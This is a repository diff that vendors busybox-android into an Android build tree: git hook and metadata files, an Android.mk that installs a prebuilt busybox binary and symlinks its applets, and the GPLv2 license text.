  102 + ;;
  103 + refs/heads/*,delete)
  104 + # delete branch
  105 + if [ "$allowdeletebranch" != "true" ]; then
  106 + echo "*** Deleting a branch is not allowed in this repository" >&2
  107 + exit 1
  108 + fi
  109 + ;;
  110 + refs/remotes/*,commit)
  111 + # tracking branch
  112 + ;;
  113 + refs/remotes/*,delete)
  114 + # delete tracking branch
  115 + if [ "$allowdeletebranch" != "true" ]; then
  116 + echo "*** Deleting a tracking branch is not allowed in this repository" >&2
  117 + exit 1
  118 + fi
  119 + ;;
  120 + *)
  121 + # Anything else (is there anything else?)
  122 + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2
  123 + exit 1
  124 + ;;
  125 +esac
  126 +
  127 +# --- Finished
  128 +exit 0
... ...
tools/busybox-android/.git-disabled/index 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/info/exclude 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/info/exclude
  1 +# git ls-files --others --exclude-from=.git/info/exclude
  2 +# Lines that start with '#' are comments.
  3 +# For a project mostly in C, the following would be a good set of
  4 +# exclude patterns (uncomment them if you want to use them):
  5 +# *.[oa]
  6 +# *~
... ...
tools/busybox-android/.git-disabled/logs/HEAD 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/logs/HEAD
  1 +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git
... ...
tools/busybox-android/.git-disabled/logs/refs/heads/master 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/logs/refs/heads/master
  1 +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git
... ...
tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/logs/refs/remotes/origin/HEAD
  1 +0000000000000000000000000000000000000000 a976dd46ad8affc96ac30ddc3a7f6e5640d3272f Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495319412 +0200 clone: from https://github.com/Gnurou/busybox-android.git
... ...
tools/busybox-android/.git-disabled/objects/0b/63fa70c43ee3e4abddec7996adf87564d250b0 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/0d/c6b95f2d930aca51a6f187bc44de804921e5ec 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/12/9e11588b287ea726fd46819485a71df555f9d5 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/16/672680d27db4249b7c5c08b3d53d610be474a5 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/17/e953ad8946aca71f145b900cc889e37ea1489b 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1a/0dbae0dd803782131025595b46b4965772600e 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1a/c5c40128b6c6c6429927de4737468655d72dde 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1c/be2aaf05cd3a45fd79ad79d093f40c38c8a575 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1d/e024072c10295d83c341747749465d7e0b17f8 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1e/4fe7013dff7aafe35013c1023712a06f723619 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1e/502f17136c82bee661f66261b0fca6abf88a15 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/1f/359537f2e4182bede73bae9645880ac21f2414 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/22/59cb022c1539de3ec8631ca820d81a538826f8 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/24/fde8baa804f7b2b0cafed1a98d7a984bad73ea 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/2b/bcf87f5572f96d391d09b78bb709a83eb55385 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/2f/d51322971a139f0996b6e1e8697b3a91c44256 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/32/bfe02bcbaf5a361acf6ecd5487bcabdf0bcc22 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/33/c77f6edfd0e38f0141d6c2bc25a8b30b993100 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/3c/3126c9c14547809171483a934ad11f1b07577b 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/3f/104efa7a5aede0ff29a2eab5d6122d79978887 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/44/f88a721a10974f644302533b581ab56d64af0a 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/46/042eb4b5791342d9f79034416936219bdde7cd 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/46/52cacbc3309f39ccbfade15e23a9c4367df298 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/47/dcc96e0cf1cd7fa3549d6cf95e4bb9c0b6f53a 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/4a/055425b63133de2e89bff9287cf594c104fd4c 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/4c/43c8d102b8265b0d45f86bb0dfd0d3d1cbd5cd 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/4d/c989c0c727397076281e3c9f32e8c43c3cc49e 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/54/688385c2f47d2c2c719554e2588a8e362f84f9 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/56/dd3969ce8045b5476ae103fea4a1a8081c7651 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/5a/ae9a60713a6b1257437d68e7be3ee284d836c6 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/5a/d9f210314d8e4ac74c9e76e85d73b693eb938e 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/5d/1f5aa0aa1d9e7d0849b92fb916f15c99b32b48 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/5f/7dde32df5c0723208ac40b01447f25334ee767 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/60/af8da0f65bba15f2e2029ed0853cffc3b26a1c 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/61/2b0bcf6ee8b65974e7e8de662c3bb31afa093d 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/63/229499984049ce930f38c39be2d5ed23b51219 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/63/8d203f2e10ee368696eac1b758d2e5c11e9b90 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/66/7ceb4c089dd76c54e7c3d31372712333a453f7 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/6c/23fac5f015c4438390ed4259948acdf5827863 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/6f/50a7164838c362837b72ca2c87600ebe090039 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/70/d224473a3d59a22e202eefb498e2a1ce28f9c1 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/75/b80b6694d73325279f37c240ef94d387ebf740 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/76/0253828172d34a10deeb3eeaf874f2efefc893 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/78/9733961f8181e68a895eaffc074faa337d10b8 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/7a/ee0092a063a83cb9d2d6404bf7f6bc21ce5cb9 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/80/bcd802b124c3a7262aa5f707f176987a6bfd6a 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/82/0ddea5a57e2cdd3b28e6b62504c450d749724a 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/85/d3a708752f9c2b5ac1de9a84311d1ad9791b10 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/87/5f50a71fe5afb55a937043d680fe7927f60c29 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/87/aaf25b7513a254178db56a8abbe48d1223bf94 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/8f/ed6b1e42d6c5d0a5e877edfc09db8ebc382be1 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/90/dbf42b71626ff88df662a2ca241e037068dab9 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/97/33f147e6ecf205114c62ce40464540c1ff346c 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/98/4e4f071120f1b5a5f8be0b473d2d8fbfcca526 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/98/ddc074bf7208c32136cac4d126814ecd36d72b 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/9b/0db31cd06ca3f419bb079c88bf8a8577bf0621 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/9e/48c8698025c05dcdd1cf4fb3e3b9c597bc6814 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/a4/35db37c1cda4ac69c1315098cb7c8ad6a7d67a 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/a9/76dd46ad8affc96ac30ddc3a7f6e5640d3272f 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/ac/5e5e111323156b5bd581d817c6013406ef540d 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/b9/064d259b39fc410b387ccecac857e3737a3558 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/b9/2d91adedca73125943e5c9d6c2333730d2773d 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/bb/20ca418d8ff504c67b1cf8315c3414fd171b1c 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/bd/761e117a98b19b7727c4cc945521e297fdc0fc 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/bf/e0be6bb8512bfb074c8e9f613753fd9eb41515 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/c1/fad304b902c7fba63adcd5f3676f71923bc280 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/c9/e2da5994d911322d3919e8ac1beb0bc145a8a7 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/cd/6ec38556e47dbaa0105870a18c48bf3fc20b90 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/d4/232b01e24a0e08dfe3d79bdba0998f0732a43e 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/d7/7776593ac40daa2a509d3ce531d19a9cdd8175 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/dc/e73a9fe6d248148f3f553a4cffb4efe5b02018 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/e1/480d5a478c4a48c1f659eca76d3c15dcbdac82 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/e1/4dc96d1687e11c3911e6741ba9e9daa07bd4b9 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/e5/479fa086259863408c54119db64ff64179e2e9 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/e9/81fd41f926040be5b9eca948605339cade9144 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/ef/7b8438f3027024071d37b63298e018b8192f6e 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/f6/69787856b0b11f2a9aea737e98b45a5c931377 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/f6/ff3c4cd23a8de844c202ce8edcd46e890abcf8 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/f7/1b30dd4dee931a48fe1eeaad75717126811756 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/f8/35e50a4ed3c01ef77140fb5fe7d659c85f5423 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/f8/f88897bd5537ac0d6d8307b1394b31149b06e5 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/fa/889b273eef7abee1152abf8c432f94ea002ca2 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/objects/fd/93026523b526d04f320bf15f80edb109aeb4b4 0 → 100644
No preview for this file type
tools/busybox-android/.git-disabled/packed-refs 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/packed-refs
  1 +# pack-refs with: peeled fully-peeled
  2 +a976dd46ad8affc96ac30ddc3a7f6e5640d3272f refs/remotes/origin/master
... ...
tools/busybox-android/.git-disabled/refs/heads/master 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/refs/heads/master
  1 +a976dd46ad8affc96ac30ddc3a7f6e5640d3272f
... ...
tools/busybox-android/.git-disabled/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/tools/busybox-android/.git-disabled/refs/remotes/origin/HEAD
  1 +ref: refs/remotes/origin/master
... ...
tools/busybox-android/Android.mk 0 → 100644
  1 +++ a/tools/busybox-android/Android.mk
  1 +LOCAL_PATH := $(call my-dir)
  2 +include $(CLEAR_VARS)
  3 +
  4 +# List obtained using
  5 +# adb shell busybox --list |sed 's/.$/ \\/' |sed 's/^/\t/'
  6 +BUSYBOX_TOOLS := \
  7 + [ \
  8 + [[ \
  9 + acpid \
  10 + add-shell \
  11 + addgroup \
  12 + adduser \
  13 + adjtimex \
  14 + ar \
  15 + arp \
  16 + arping \
  17 + ash \
  18 + awk \
  19 + base64 \
  20 + basename \
  21 + bash \
  22 + beep \
  23 + blkid \
  24 + blockdev \
  25 + bootchartd \
  26 + brctl \
  27 + bunzip2 \
  28 + bzcat \
  29 + bzip2 \
  30 + cal \
  31 + cat \
  32 + catv \
  33 + chat \
  34 + chattr \
  35 + chgrp \
  36 + chmod \
  37 + chown \
  38 + chpasswd \
  39 + chpst \
  40 + chroot \
  41 + chrt \
  42 + chvt \
  43 + cksum \
  44 + clear \
  45 + cmp \
  46 + comm \
  47 + cp \
  48 + cpio \
  49 + crond \
  50 + crontab \
  51 + cryptpw \
  52 + cttyhack \
  53 + cut \
  54 + date \
  55 + dc \
  56 + dd \
  57 + deallocvt \
  58 + delgroup \
  59 + deluser \
  60 + depmod \
  61 + devmem \
  62 + df \
  63 + dhcprelay \
  64 + diff \
  65 + dirname \
  66 + dmesg \
  67 + dnsd \
  68 + dnsdomainname \
  69 + dos2unix \
  70 + du \
  71 + dumpkmap \
  72 + dumpleases \
  73 + echo \
  74 + ed \
  75 + egrep \
  76 + eject \
  77 + env \
  78 + envdir \
  79 + envuidgid \
  80 + ether-wake \
  81 + expand \
  82 + expr \
  83 + fakeidentd \
  84 + false \
  85 + fbset \
  86 + fbsplash \
  87 + fdflush \
  88 + fdformat \
  89 + fdisk \
  90 + fgconsole \
  91 + fgrep \
  92 + find \
  93 + findfs \
  94 + flock \
  95 + fold \
  96 + free \
  97 + freeramdisk \
  98 + fsck \
  99 + fsck.minix \
  100 + fsync \
  101 + ftpd \
  102 + ftpget \
  103 + ftpput \
  104 + fuser \
  105 + getopt \
  106 + getty \
  107 + grep \
  108 + groups \
  109 + gunzip \
  110 + gzip \
  111 + halt \
  112 + hd \
  113 + hdparm \
  114 + head \
  115 + hexdump \
  116 + hostid \
  117 + hostname \
  118 + httpd \
  119 + hwclock \
  120 + id \
  121 + ifconfig \
  122 + ifdown \
  123 + ifenslave \
  124 + ifplugd \
  125 + ifup \
  126 + inetd \
  127 + init \
  128 + insmod \
  129 + install \
  130 + ionice \
  131 + iostat \
  132 + ip \
  133 + ipaddr \
  134 + ipcalc \
  135 + ipcrm \
  136 + ipcs \
  137 + iplink \
  138 + iproute \
  139 + iprule \
  140 + iptunnel \
  141 + kbd_mode \
  142 + kill \
  143 + killall \
  144 + killall5 \
  145 + klogd \
  146 + last \
  147 + less \
  148 + linux32 \
  149 + linux64 \
  150 + linuxrc \
  151 + ln \
  152 + loadfont \
  153 + loadkmap \
  154 + logger \
  155 + login \
  156 + logname \
  157 + logread \
  158 + losetup \
  159 + lpd \
  160 + lpq \
  161 + lpr \
  162 + ls \
  163 + lsattr \
  164 + lsmod \
  165 + lspci \
  166 + lsusb \
  167 + lzcat \
  168 + lzma \
  169 + lzop \
  170 + lzopcat \
  171 + makedevs \
  172 + makemime \
  173 + man \
  174 + md5sum \
  175 + mdev \
  176 + mesg \
  177 + microcom \
  178 + mkdir \
  179 + mkdosfs \
  180 + mke2fs \
  181 + mkfifo \
  182 + mkfs.ext2 \
  183 + mkfs.minix \
  184 + mkfs.vfat \
  185 + mknod \
  186 + mkpasswd \
  187 + mkswap \
  188 + mktemp \
  189 + modinfo \
  190 + modprobe \
  191 + more \
  192 + mount \
  193 + mountpoint \
  194 + mpstat \
  195 + mt \
  196 + mv \
  197 + nameif \
  198 + nbd-client \
  199 + nc \
  200 + netstat \
  201 + nice \
  202 + nmeter \
  203 + nohup \
  204 + nslookup \
  205 + ntpd \
  206 + od \
  207 + openvt \
  208 + passwd \
  209 + patch \
  210 + pgrep \
  211 + pidof \
  212 + ping \
  213 + ping6 \
  214 + pipe_progress \
  215 + pivot_root \
  216 + pkill \
  217 + pmap \
  218 + popmaildir \
  219 + poweroff \
  220 + powertop \
  221 + printenv \
  222 + printf \
  223 + ps \
  224 + pscan \
  225 + pstree \
  226 + pwd \
  227 + pwdx \
  228 + raidautorun \
  229 + rdate \
  230 + rdev \
  231 + readahead \
  232 + readlink \
  233 + readprofile \
  234 + realpath \
  235 + reboot \
  236 + reformime \
  237 + remove-shell \
  238 + renice \
  239 + reset \
  240 + resize \
  241 + rev \
  242 + rm \
  243 + rmdir \
  244 + rmmod \
  245 + route \
  246 + rpm \
  247 + rpm2cpio \
  248 + rtcwake \
  249 + run-parts \
  250 + runlevel \
  251 + runsv \
  252 + runsvdir \
  253 + rx \
  254 + script \
  255 + scriptreplay \
  256 + sed \
  257 + sendmail \
  258 + seq \
  259 + setarch \
  260 + setconsole \
  261 + setfont \
  262 + setkeycodes \
  263 + setlogcons \
  264 + setserial \
  265 + setsid \
  266 + setuidgid \
  267 + sh \
  268 + sha1sum \
  269 + sha256sum \
  270 + sha512sum \
  271 + showkey \
  272 + slattach \
  273 + sleep \
  274 + smemcap \
  275 + softlimit \
  276 + sort \
  277 + split \
  278 + start-stop-daemon \
  279 + stat \
  280 + strings \
  281 + stty \
  282 + sulogin \
  283 + sum \
  284 + sv \
  285 + svlogd \
  286 + swapoff \
  287 + swapon \
  288 + switch_root \
  289 + sync \
  290 + sysctl \
  291 + syslogd \
  292 + tac \
  293 + tail \
  294 + tar \
  295 + tcpsvd \
  296 + tee \
  297 + telnet \
  298 + telnetd \
  299 + test \
  300 + tftp \
  301 + tftpd \
  302 + time \
  303 + timeout \
  304 + top \
  305 + touch \
  306 + tr \
  307 + traceroute \
  308 + traceroute6 \
  309 + true \
  310 + tty \
  311 + ttysize \
  312 + tunctl \
  313 + udhcpc \
  314 + udhcpd \
  315 + udpsvd \
  316 + umount \
  317 + uname \
  318 + uncompress \
  319 + unexpand \
  320 + uniq \
  321 + unix2dos \
  322 + unlzma \
  323 + unlzop \
  324 + unxz \
  325 + unzip \
  326 + uptime \
  327 + users \
  328 + usleep \
  329 + uudecode \
  330 + uuencode \
  331 + vconfig \
  332 + vi \
  333 + vlock \
  334 + volname \
  335 + wall \
  336 + watch \
  337 + watchdog \
  338 + wc \
  339 + wget \
  340 + which \
  341 + who \
  342 + whoami \
  343 + whois \
  344 + xargs \
  345 + xz \
  346 + xzcat \
  347 + yes \
  348 + zcat \
  349 + zcip
  350 +
  351 +LOCAL_MODULE := busybox
  352 +
  353 +BUSYBOX_INSTALL_DIR := $(TARGET_OUT)/bin
  354 +BUSYBOX_BINARY := $(BUSYBOX_INSTALL_DIR)/busybox
  355 +BUSYBOX_LOCAL_BINARY := $(LOCAL_PATH)/busybox-android
  356 +# This dependency ensures busybox is installed after all toolbox symlinks
  357 +# are done, and overwrites them
  358 +$(BUSYBOX_BINARY): toolbox
  359 + @cp $(BUSYBOX_LOCAL_BINARY) $(BUSYBOX_BINARY)
  360 + @echo "Installing busybox"
  361 + @for tool in $(BUSYBOX_TOOLS) ; do \
  362 + rm -rf $(BUSYBOX_INSTALL_DIR)/$$tool ; \
  363 + ln -s busybox $(BUSYBOX_INSTALL_DIR)/$$tool ; \
  364 + done
  365 +
  366 +ALL_DEFAULT_INSTALLED_MODULES += $(BUSYBOX_BINARY)
... ...
tools/busybox-android/LICENSE 0 → 100644
  1 +++ a/tools/busybox-android/LICENSE
  1 +--- A note on GPL versions
  2 +
  3 +BusyBox is distributed under version 2 of the General Public License (included
  4 +in its entirety, below). Version 2 is the only version of this license which
  5 +this version of BusyBox (or modified versions derived from this one) may be
  6 +distributed under.
  7 +
  8 +------------------------------------------------------------------------
  9 + GNU GENERAL PUBLIC LICENSE
  10 + Version 2, June 1991
  11 +
  12 + Copyright (C) 1989, 1991 Free Software Foundation, Inc.
  13 + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  14 + Everyone is permitted to copy and distribute verbatim copies
  15 + of this license document, but changing it is not allowed.
  16 +
  17 + Preamble
  18 +
  19 + The licenses for most software are designed to take away your
  20 +freedom to share and change it. By contrast, the GNU General Public
  21 +License is intended to guarantee your freedom to share and change free
  22 +software--to make sure the software is free for all its users. This
  23 +General Public License applies to most of the Free Software
  24 +Foundation's software and to any other program whose authors commit to
  25 +using it. (Some other Free Software Foundation software is covered by
  26 +the GNU Library General Public License instead.) You can apply it to
  27 +your programs, too.
  28 +
  29 + When we speak of free software, we are referring to freedom, not
  30 +price. Our General Public Licenses are designed to make sure that you
  31 +have the freedom to distribute copies of free software (and charge for
  32 +this service if you wish), that you receive source code or can get it
  33 +if you want it, that you can change the software or use pieces of it
  34 +in new free programs; and that you know you can do these things.
  35 +
  36 + To protect your rights, we need to make restrictions that forbid
  37 +anyone to deny you these rights or to ask you to surrender the rights.
  38 +These restrictions translate to certain responsibilities for you if you
  39 +distribute copies of the software, or if you modify it.
  40 +
  41 + For example, if you distribute copies of such a program, whether
  42 +gratis or for a fee, you must give the recipients all the rights that
  43 +you have. You must make sure that they, too, receive or can get the
  44 +source code. And you must show them these terms so they know their
  45 +rights.
  46 +
  47 + We protect your rights with two steps: (1) copyright the software, and
  48 +(2) offer you this license which gives you legal permission to copy,
  49 +distribute and/or modify the software.
  50 +
  51 + Also, for each author's protection and ours, we want to make certain
  52 +that everyone understands that there is no warranty for this free
  53 +software. If the software is modified by someone else and passed on, we
  54 +want its recipients to know that what they have is not the original, so
  55 +that any problems introduced by others will not reflect on the original
  56 +authors' reputations.
  57 +
  58 + Finally, any free program is threatened constantly by software
  59 +patents. We wish to avoid the danger that redistributors of a free
  60 +program will individually obtain patent licenses, in effect making the
  61 +program proprietary. To prevent this, we have made it clear that any
  62 +patent must be licensed for everyone's free use or not licensed at all.
  63 +
  64 + The precise terms and conditions for copying, distribution and
  65 +modification follow.
  66 +
  67 + GNU GENERAL PUBLIC LICENSE
  68 + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
  69 +
  70 + 0. This License applies to any program or other work which contains
  71 +a notice placed by the copyright holder saying it may be distributed
  72 +under the terms of this General Public License. The "Program", below,
  73 +refers to any such program or work, and a "work based on the Program"
  74 +means either the Program or any derivative work under copyright law:
  75 +that is to say, a work containing the Program or a portion of it,
  76 +either verbatim or with modifications and/or translated into another
  77 +language. (Hereinafter, translation is included without limitation in
  78 +the term "modification".) Each licensee is addressed as "you".
  79 +
  80 +Activities other than copying, distribution and modification are not
  81 +covered by this License; they are outside its scope. The act of
  82 +running the Program is not restricted, and the output from the Program
  83 +is covered only if its contents constitute a work based on the
  84 +Program (independent of having been made by running the Program).
  85 +Whether that is true depends on what the Program does.
  86 +
  87 + 1. You may copy and distribute verbatim copies of the Program's
  88 +source code as you receive it, in any medium, provided that you
  89 +conspicuously and appropriately publish on each copy an appropriate
  90 +copyright notice and disclaimer of warranty; keep intact all the
  91 +notices that refer to this License and to the absence of any warranty;
  92 +and give any other recipients of the Program a copy of this License
  93 +along with the Program.
  94 +
  95 +You may charge a fee for the physical act of transferring a copy, and
  96 +you may at your option offer warranty protection in exchange for a fee.
  97 +
  98 + 2. You may modify your copy or copies of the Program or any portion
  99 +of it, thus forming a work based on the Program, and copy and
  100 +distribute such modifications or work under the terms of Section 1
  101 +above, provided that you also meet all of these conditions:
  102 +
  103 + a) You must cause the modified files to carry prominent notices
  104 + stating that you changed the files and the date of any change.
  105 +
  106 + b) You must cause any work that you distribute or publish, that in
  107 + whole or in part contains or is derived from the Program or any
  108 + part thereof, to be licensed as a whole at no charge to all third
  109 + parties under the terms of this License.
  110 +
  111 + c) If the modified program normally reads commands interactively
  112 + when run, you must cause it, when started running for such
  113 + interactive use in the most ordinary way, to print or display an
  114 + announcement including an appropriate copyright notice and a
  115 + notice that there is no warranty (or else, saying that you provide
  116 + a warranty) and that users may redistribute the program under
  117 + these conditions, and telling the user how to view a copy of this
  118 + License. (Exception: if the Program itself is interactive but
  119 + does not normally print such an announcement, your work based on
  120 + the Program is not required to print an announcement.)
  121 +
  122 +These requirements apply to the modified work as a whole. If
  123 +identifiable sections of that work are not derived from the Program,
  124 +and can be reasonably considered independent and separate works in
  125 +themselves, then this License, and its terms, do not apply to those
  126 +sections when you distribute them as separate works. But when you
  127 +distribute the same sections as part of a whole which is a work based
  128 +on the Program, the distribution of the whole must be on the terms of
  129 +this License, whose permissions for other licensees extend to the
  130 +entire whole, and thus to each and every part regardless of who wrote it.
  131 +
  132 +Thus, it is not the intent of this section to claim rights or contest
  133 +your rights to work written entirely by you; rather, the intent is to
  134 +exercise the right to control the distribution of derivative or
  135 +collective works based on the Program.
  136 +
  137 +In addition, mere aggregation of another work not based on the Program
  138 +with the Program (or with a work based on the Program) on a volume of
  139 +a storage or distribution medium does not bring the other work under
  140 +the scope of this License.
  141 +
  142 + 3. You may copy and distribute the Program (or a work based on it,
  143 +under Section 2) in object code or executable form under the terms of
  144 +Sections 1 and 2 above provided that you also do one of the following:
  145 +
  146 + a) Accompany it with the complete corresponding machine-readable
  147 + source code, which must be distributed under the terms of Sections
  148 + 1 and 2 above on a medium customarily used for software interchange; or,
  149 +
  150 + b) Accompany it with a written offer, valid for at least three
  151 + years, to give any third party, for a charge no more than your
  152 + cost of physically performing source distribution, a complete
  153 + machine-readable copy of the corresponding source code, to be
  154 + distributed under the terms of Sections 1 and 2 above on a medium
  155 + customarily used for software interchange; or,
  156 +
  157 + c) Accompany it with the information you received as to the offer
  158 + to distribute corresponding source code. (This alternative is
  159 + allowed only for noncommercial distribution and only if you
  160 + received the program in object code or executable form with such
  161 + an offer, in accord with Subsection b above.)
  162 +
  163 +The source code for a work means the preferred form of the work for
  164 +making modifications to it. For an executable work, complete source
  165 +code means all the source code for all modules it contains, plus any
  166 +associated interface definition files, plus the scripts used to
  167 +control compilation and installation of the executable. However, as a
  168 +special exception, the source code distributed need not include
  169 +anything that is normally distributed (in either source or binary
  170 +form) with the major components (compiler, kernel, and so on) of the
  171 +operating system on which the executable runs, unless that component
  172 +itself accompanies the executable.
  173 +
  174 +If distribution of executable or object code is made by offering
  175 +access to copy from a designated place, then offering equivalent
  176 +access to copy the source code from the same place counts as
  177 +distribution of the source code, even though third parties are not
  178 +compelled to copy the source along with the object code.
  179 +
  180 + 4. You may not copy, modify, sublicense, or distribute the Program
  181 +except as expressly provided under this License. Any attempt
  182 +otherwise to copy, modify, sublicense or distribute the Program is
  183 +void, and will automatically terminate your rights under this License.
  184 +However, parties who have received copies, or rights, from you under
  185 +this License will not have their licenses terminated so long as such
  186 +parties remain in full compliance.
  187 +
  188 + 5. You are not required to accept this License, since you have not
  189 +signed it. However, nothing else grants you permission to modify or
  190 +distribute the Program or its derivative works. These actions are
  191 +prohibited by law if you do not accept this License. Therefore, by
  192 +modifying or distributing the Program (or any work based on the
  193 +Program), you indicate your acceptance of this License to do so, and
  194 +all its terms and conditions for copying, distributing or modifying
  195 +the Program or works based on it.
  196 +
  197 + 6. Each time you redistribute the Program (or any work based on the
  198 +Program), the recipient automatically receives a license from the
  199 +original licensor to copy, distribute or modify the Program subject to
  200 +these terms and conditions. You may not impose any further
  201 +restrictions on the recipients' exercise of the rights granted herein.
  202 +You are not responsible for enforcing compliance by third parties to
  203 +this License.
  204 +
  205 + 7. If, as a consequence of a court judgment or allegation of patent
  206 +infringement or for any other reason (not limited to patent issues),
  207 +conditions are imposed on you (whether by court order, agreement or
  208 +otherwise) that contradict the conditions of this License, they do not
  209 +excuse you from the conditions of this License. If you cannot
  210 +distribute so as to satisfy simultaneously your obligations under this
  211 +License and any other pertinent obligations, then as a consequence you
  212 +may not distribute the Program at all. For example, if a patent
  213 +license would not permit royalty-free redistribution of the Program by
  214 +all those who receive copies directly or indirectly through you, then
  215 +the only way you could satisfy both it and this License would be to
  216 +refrain entirely from distribution of the Program.
  217 +
  218 +If any portion of this section is held invalid or unenforceable under
  219 +any particular circumstance, the balance of the section is intended to
  220 +apply and the section as a whole is intended to apply in other
  221 +circumstances.
  222 +
  223 +It is not the purpose of this section to induce you to infringe any
  224 +patents or other property right claims or to contest validity of any
  225 +such claims; this section has the sole purpose of protecting the
  226 +integrity of the free software distribution system, which is
  227 +implemented by public license practices. Many people have made
  228 +generous contributions to the wide range of software distributed
  229 +through that system in reliance on consistent application of that
  230 +system; it is up to the author/donor to decide if he or she is willing
  231 +to distribute software through any other system and a licensee cannot
  232 +impose that choice.
